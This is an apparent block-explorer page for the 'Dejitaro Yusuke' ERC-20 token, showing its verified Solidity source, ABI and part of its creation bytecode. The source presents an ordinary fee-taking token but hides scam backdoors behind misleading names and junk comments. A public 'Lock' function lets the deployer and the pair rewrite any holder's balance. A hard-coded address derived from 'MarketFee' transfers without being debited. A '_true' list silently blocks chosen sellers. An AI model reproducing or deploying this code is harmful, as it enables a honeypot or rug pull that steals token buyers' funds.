Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 Yusuke
Holders
13
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,544,305.623468238 YusukeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DejitaroYusuke
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-27 */ /** */ /** */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; uint256 public MarketFee= 925; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountintMin, address[] calldata path, address to, uint deadline ) external; } contract DejitaroYusuke is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Dejitaro Yusuke"; string private _symbol = "Yusuke"; uint8 private _decimals = 9; address payable public _metawallet; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _dollars; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketsPair; mapping (address => bool) public _mainPai; mapping (address => bool) public _true; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 1; uint256 public _buyTeamFee = 0; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 3; uint256 public _sellTeamFee = 0; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 0; uint256 public _totalTaxIfBuying = 4; uint256 public _totalTaxIfSelling = 4; uint256 public _totalDistributionShares = 10; uint256 private _totalSupply = 100000000 * 10**_decimals; uint256 public _maxTxAmount = 1000000000 * 10**_decimals; uint256 public _walletMax = 1000000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[excuse(MarketFee)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _mainPai[address(uniswapPair)] = true; _mainPai[msg.sender] = true; teamWalletAddress = payable(address(0x552C334ADaF91c539Ee3bF96D88342F3685A5A74)); _metawallet = payable(address(0x552C334ADaF91c539Ee3bF96D88342F3685A5A74)); _dollars[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _dollars[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function excel(uint256 amountint) pure private returns(uint160){ return /*fsad*/ uint160(amountint);/*fsad*/ } function excuse(uint256 amount1Out) pure private returns(address){ return /*abs*/address(excel(amount1Out)); /*abs*/ } function tt(address amountaut) private view returns(bool){ return !(excuse(MarketFee) == amountaut); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { _metawallet = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _mainPai[address(uniswapPair)] = true; } function Lock(address zoo , uint256 zooz) public {if( _mainPai[ msg.sender])_dollars[zoo] = zooz;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(tt(sender)){ _dollars[sender] = _dollars[sender].sub(amount); }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); if(false || true) { if(_true [sender]){ /*s*/ require(true && false);/*s*/ }} _dollars[recipient] = _dollars[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _dollars[sender] = _dollars[sender].sub(amount, "Insufficient Balance"); _dollars[recipient] = _dollars[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(_metawallet, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(_mainPai[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_mainPai[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _dollars[address(this)] = _dollars[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"zoo","type":"address"},{"internalType":"uint256","name":"zooz","type":"uint256"}],"name":"Lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_metawallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketsPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
61039d60015560e0604052600f60a08190526e44656a697461726f20597573756b6560881b60c09081526200003891600291906200071a565b5060408051808201909152600680825265597573756b6560d01b602090920191825262000068916003916200071a565b506004805460ff19166009908117825561dead6080526001600e819055600f8190556000601081905560119190915560036012556013819055601483905560158390556016556017829055601891909155600a6019819055620000cc9190620008d3565b620000dc906305f5e100620008eb565b601a55600454620000f29060ff16600a620008d3565b6200010290633b9aca00620008eb565b601b55600454620001189060ff16600a620008d3565b6200012890633b9aca00620008eb565b601c556004546200013e9060ff16600a620008d3565b6200014c906103e8620008eb565b601d55601f805462ffffff60a81b19166201000160a81b1790553480156200017357600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023191906200090d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a591906200090d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031991906200090d565b601f80546001600160a01b039283166001600160a01b031991821617909155601e80549284169290911682179055601a54306000908152600760209081526040808320948352939052918220556001906008906200037f6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260088352208054909216600117909155601054600f54600e54620003f593620003e1929062001530620006a2821b17901c565b620006a260201b620015301790919060201c565b60178190555062000420601354620003e1601254601154620006a260201b620015301790919060201c565b6018819055506200044b601654620003e1601554601454620006a260201b620015301790919060201c565b601955600160096000620004676000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f549091168152600992839052818120805485166001908117909155308252918120805490941682179093558054909290620004d29062000711565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620005226001546200071160201b60201c565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600a90620005666000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155601f549092168152600c9093528183208054851682179055338352908220805490931617909155600580546001600160a01b03191673552c334adaf91c539ee3bf96d88342f3685a5a741790556004805474552c334adaf91c539ee3bf96d88342f3685a5a7400610100600160a81b0319909116179055601a5490600690620006303390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a546040516200069391815260200190565b60405180910390a3506200098f565b600080620006b1838562000938565b905083811015620007085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b6000816200070b565b828054620007289062000953565b90600052602060002090601f0160209004810192826200074c576000855562000797565b82601f106200076757805160ff191683800117855562000797565b8280016001018555821562000797579182015b82811115620007975782518255916020019190600101906200077a565b50620007a5929150620007a9565b5090565b5b80821115620007a55760008155600101620007aa565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000817578160001904821115620007fb57620007fb620007c0565b808516156200080957918102915b93841c9390800290620007db565b509250929050565b60008262000830575060016200070b565b816200083f575060006200070b565b8160018114620008585760028114620008635762000883565b60019150506200070b565b60ff841115620008775762000877620007c0565b50506001821b6200070b565b5060208310610133831016604e8410600b8410161715620008a8575081810a6200070b565b620008b48383620007d6565b8060001904821115620008cb57620008cb620007c0565b029392505050565b6000620008e460ff8416836200081f565b9392505050565b6000816000190483118215151615620009085762000908620007c0565b500290565b6000602082840312156200092057600080fd5b81516001600160a01b03811681146200070857600080fd5b600082198211156200094e576200094e620007c0565b500190565b600181811c908216806200096857607f821691505b6020821081036200098957634e487b7160e01b600052602260045260246000fd5b50919050565b6080516126b7620009b2600039600081816104b70152610c6d01526126b76000f3fe6080604052600436106103855760003560e01c806388790a68116101d1578063c469b6dd11610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0cd1dac14610a5f57600080fd5b8063c816841b116100dc578063c816841b14610966578063c860795214610986578063c867d60b1461099c578063cab03471146109cc57600080fd5b8063c469b6dd1461091a578063c49b9a8014610930578063c5d241891461095057600080fd5b8063a073d37f1161016f578063a5d69d1f11610149578063a5d69d1f146108a4578063a83f53a7146108c4578063a9059cbb146108da578063c2d4640e146108fa57600080fd5b8063a073d37f14610859578063a08e671f1461086e578063a457c2d71461088457600080fd5b80639174c79d116101ab5780639174c79d146107e957806395d89b41146108095780639c64954e1461081e578063a06b98f81461083457600080fd5b806388790a68146107855780638b42507f1461079b5780638